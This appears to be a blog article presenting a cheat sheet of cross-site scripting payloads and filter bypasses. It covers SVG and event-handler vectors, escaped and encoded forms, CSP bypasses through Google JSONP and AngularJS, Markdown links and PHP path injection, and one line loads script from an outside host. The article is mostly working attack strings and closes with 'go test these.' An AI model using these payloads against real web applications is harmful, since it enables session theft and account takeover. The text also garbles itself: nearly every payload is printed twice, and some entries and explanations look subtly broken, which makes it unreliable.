June 30, 2026
“The XSS Cheat Sheet That Keeps Me Up at Night”
If you think you know XSS, you haven’t seen half of these vectors. Here’s the collection that made me question everything I thought I knew…
By Aman Sharma
5 min read
If you think you know XSS, you haven't seen half of these vectors. Here's the collection that made me question everything I thought I knew about cross-site scripting.
Disclaimer:** This article is for educational purposes only. Use this knowledge responsibly and only on systems you have explicit permission to test.**
Last week, I found myself staring at a reflected XSS that wouldn't fire. My standard payloads just… sat there. The application was filtering alert, script, and even onerror. I was about to give up when I remembered a vector I'd seen once in a dusty corner of the internet:
<svg><set onbegin=alert(1)><svg><set onbegin=alert(1)>It worked. In 2025. On a production system.
That's the thing about XSS — it's not dead. It's just evolved. And the people who stay ahead? They have a secret weapon: knowledge of the obscure.
Let me walk you through the payloads that actually work, the bypasses that break modern filters, and the weird edge cases that most hunters completely miss.
The Basics That Still Work (But You're Doing Them Wrong)
Everyone knows <script>alert(1)</script>. But here's what most people don't realize: HTML injection is often easier than JavaScript injection.
Where Your Input Lands Matters More Than the Payload
Use this when input lands inside an attribute's value:
"><svg onload=alert(1)>
Use this when input lands inside a tag block (title, textarea, etc.):
</tag><svg onload=alert(1)>
Use this when you can't break out of the tag:
"onmouseover=alert(1)//Use this when input lands inside an attribute's value:
"><svg onload=alert(1)>
Use this when input lands inside a tag block (title, textarea, etc.):
</tag><svg onload=alert(1)>
Use this when you can't break out of the tag:
"onmouseover=alert(1)//
The "I Can't Use Parentheses" Nightmare
One of the most common filters is blocking parentheses. You know, those little () that make JavaScript actually run? Yeah, those.
Here's how to break that illusion:
No parentheses? No problem.
alert`1`No parentheses? No problem.
alert`1`Yes, you read that right. Backticks work. JavaScript's template literals don't need parentheses.
Need to run something more complex?
setTimeout'alert\x28document.domain\x29'
setInterval'alert\x28document.domain\x29'setTimeout'alert\x28document.domain\x29'
setInterval'alert\x28document.domain\x29'Wait, what's \x28? That's hex for (. And \x29 is ). Even if the filter blocks parentheses, hex escapes might slip through.
The Mind-Blower: No Alphabetic Characters Allowed
What if the filter blocks letters?
[1[146\151\154\164\145\162][143\157\156\163\164\162\165\143\164\157\162]
('141\154\145\162\164\50\61\51')()[1[146\151\154\164\145\162][143\157\156\163\164\162\165\143\164\157\162]
('141\154\145\162\164\50\61\51')()That's alert(1) written entirely in octal escapes. It looks like gibberish. It runs like a charm.
The SVG Vectors That Nobody Talks About
SVG is a goldmine. Most filters don't block it because… well, it's just images, right? Wrong.
The Ones That Actually Work in 2025:
<!-- Firefox + Chromium -->
<svg><set onbegin=alert(1)>
<!-- Works in Chromium too (with attributename trick) -->
<svg><set attributename=x onbegin=alert(1)>
<!-- No event handler at all! -->
<svg><a><rect width=99% height=99% />
<animate attributeName=href to=javascript:alert(1)><!-- Firefox + Chromium -->
<svg><set onbegin=alert(1)>
<!-- Works in Chromium too (with attributename trick) -->
<svg><set attributename=x onbegin=alert(1)>
<!-- No event handler at all! -->
<svg><a><rect width=99% height=99% />
<animate attributeName=href to=javascript:alert(1)>That last one? No onload, no onerror, no onbegin. Just an animation changing the href. The user clicks the rectangle and boom – XSS.
What If You're Filtered to Death?
<svg><use xlink:href=data:image/svg+xml;base64,PHN2ZyBpZD0ieCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI%2BPGVtYmVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9ImphdmFzY3JpcHQ6YWxlcnQoMSkiLz48L3N2Zz4%3D%23x><svg><use xlink:href=data:image/svg+xml;base64,PHN2ZyBpZD0ieCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI%2BPGVtYmVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9ImphdmFzY3JpcHQ6YWxlcnQoMSkiLz48L3N2Zz4%3D%23x>That's a base64-encoded SVG that executes JavaScript. No event handlers visible. No script tags. Just "we're loading an image" and suddenly you're popped.
The "No Script Tag Allowed" Escape
Sometimes you can't inject <script>. But you can still load external code.
<script src=data:,alert(1)><script src=data:,alert(1)>Wait, data: URLs? Yes. JavaScript can be loaded from a data URI.
<iframe srcdoc=<svg/onload=alert(1)>><iframe srcdoc=<svg/onload=alert(1)>>That's an iframe with a srcdoc attribute. The payload is HTML-encoded. The browser decodes it. XSS ensues.
The Location-Based Payloads That Break WAFs
This is where it gets really interesting.
<javascript/onmouseover=location=tagName+innerHTML+location.hash>/*hoverme!</javascript>#*/alert(1)<javascript/onmouseover=location=tagName+innerHTML+location.hash>/*hoverme!</javascript>#*/alert(1)Wait, what's happening here?
The payload breaks the javascript: protocol into pieces:
tagName=javascriptinnerHTML=*/alert(1)location.hash= the fragment
When the user hovers, location gets set to javascript:*/alert(1) and the browser executes it.
The Shortest One:
<j/onmouseover=location=innerHTML+URL>javascript:`-alert(1)</j>#`-alert(1)<j/onmouseover=location=innerHTML+URL>javascript:`-alert(1)</j>#`-alert(1)Why this is genius: It uses the URL property to get the current page's URL, which includes the fragment. The fragment contains the payload.
Even Cleaner:
<svg id=<img src=/inner0r=alert(1> onload=head.innerHTML=id><svg id=<img src=/inner0r=alert(1> onload=head.innerHTML=id>This sets the innerHTML of the page head to img src=/inner0r=alert(1) – which executes the onerror event. No javascript: protocol. No external scripts. Just pure DOM manipulation.
The CSP Bypass That Uses Google (Yes, Google)
Content Security Policy prevents scripts from untrusted domains. But what if you can use Google?
<script src="//www.google.com/complete/search?client=chrome&jsonp=alert(1)">
</script><script src="//www.google.com/complete/search?client=chrome&jsonp=alert(1)">
</script>Google's JSONP endpoint wraps the response in a callback. If you control the callback name, you control the execution.
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js">
</script>
<x ng-app ng-csp>{{$new.constructor('alert(1)')()}}<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js">
</script>
<x ng-app ng-csp>{{$new.constructor('alert(1)')()}}AngularJS on Google's CDN. The ng-csp attribute bypasses CSP. Then it's just an Angular expression.
The "You Can't Even Use HTML Tags" Escape
What if the filter strips all HTML tags? You're left with… what exactly?
{{$new.constructor('alert(1)')}}{{$new.constructor('alert(1)')}}AngularJS expressions. Even in a text node, if Angular is loaded, this executes.
<x ng-app>{{$new.constructor('alert(1)')}}<x ng-app>{{$new.constructor('alert(1)')}}Even if no ng-app exists, you can create your own. Any element will do.
The Trick for No Brackets or Quotes:
{{$new.constructor\u0028'alert\u00281\u0029'\u0029\u0028\u0029}}{{$new.constructor\u0028'alert\u00281\u0029'\u0029\u0028\u0029}}Unicode escapes. The filter looks for alert? It's still there, but it's Unicode. The filter looks for (? It's \u0028. The filter looks for quotes? They're \u0027.
The filter loses. Every time.
The Markdown Vector Nobody Warned You About
Comment sections often support Markdown. And Markdown supports links.
[click me](javascript:alert(1))[click me](javascript:alert(1))Yes. Just yes. Many Markdown parsers render this as HTML. Click the link. XSS.
The PHP Self URL Injection That Changed How I Test
When a PHP page echoes the current URL into a form action, you can inject in the path:
https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=readerhttps://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=readerThe URL is https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader. PHP sees xss.php as the script. Everything after the slash is PATH_INFO. The ?a=reader is the query string. The browser renders the HTML. XSS.
I've used this exact technique on a bug bounty. It worked. The developer had no idea.
The "This Is Just Weird" Vectors
Some payloads make you question reality.
1<svg onload=alert(1)>1<svg onload=alert(1)>Why does this work? Type juggling. If the application does a loose comparison (==), 1<svg... equals 1. The condition passes. The svg element loads. XSS.
<a href=javascript:alert(1)>click me</a><a href=javascript:alert(1)>click me</a>Wait, that's just a normal link. Yes. But sometimes the simplest vector is the one that works.
<math><brute href=javascript:alert(1)>click<math><brute href=javascript:alert(1)>click<math> tag. Inside a math context. href on any element. Click. XSS.
What's wild about this? Most filters don't block <math> because they don't think of it as a vector.
The "No Closing Tag" Magic
<script src=data:,alert(1)><script src=data:,alert(1)>When you can't close the tag, this works. The src attribute loads the data URI. The content is executed.
<script src=//brutelogic.com.br/1.js><script src=//brutelogic.com.br/1.js>Same principle. External script. No closing tag needed.
The Unicode Injection That Bypasses Everything
URL encoding. Double encoding. Hex. Unicode. If the application does any decoding, you can bypass.
%253Csvg%2520o%256Eload%253Dalert%25281%2529%253E%253Csvg%2520o%256Eload%253Dalert%25281%2529%253EThat's %3Csvg%20onload%3Dalert%281%29%3E double-encoded. The server decodes once, then the browser decodes again. XSS.
%CA%BA>%EF%BC%9Csvg/onload%EF%BC%9Dalert%EF%BC%881>%CA%BA>%EF%BC%9Csvg/onload%EF%BC%9Dalert%EF%BC%881>Overlong UTF-8 encoding. The browser maps it to <, >, etc. XSS.
What I Learned Writing This
XSS isn't about memorizing payloads. It's about understanding context, filters, and execution flow.
The cheat sheet that inspired this article has over 200 vectors. I've probably used about 30 of them. But the ones I use most? The ones that break assumptions.
- Assumption: "We strip
<script>tags." → SVG vectors. - Assumption: "We block
javascript:URLs." → Location-based payloads. - Assumption: "We have CSP." → JSONP endpoints.
- Assumption: "We HTML-encode everything." → Unicode escapes in JavaScript contexts.
- Assumption: "We validate the hostname." → Self URL injection.
Every assumption is a potential bypass.
The Vector That Never Fails Me
If I had to pick one payload to use for the rest of my career:
"><svg onload=alert(1)>"><svg onload=alert(1)>It works in:
- HTML attributes
- Tag blocks (with
</tag>prepended) - Sometimes even JavaScript contexts (if the
svgtag breaks out)
It's my Swiss Army knife.
Your Turn
Go test these. Build your own cheat sheet. And when you find that one vector that bypasses a filter you thought was unbreakable, you'll understand why this is so addictive.
The internet is built on assumptions. We break assumptions.
If you enjoyed this, clap, comment, and share. And if you found a new vector, let me know — I'm always adding to my list.
— Your friendly neighborhood XSS gremlin 🐞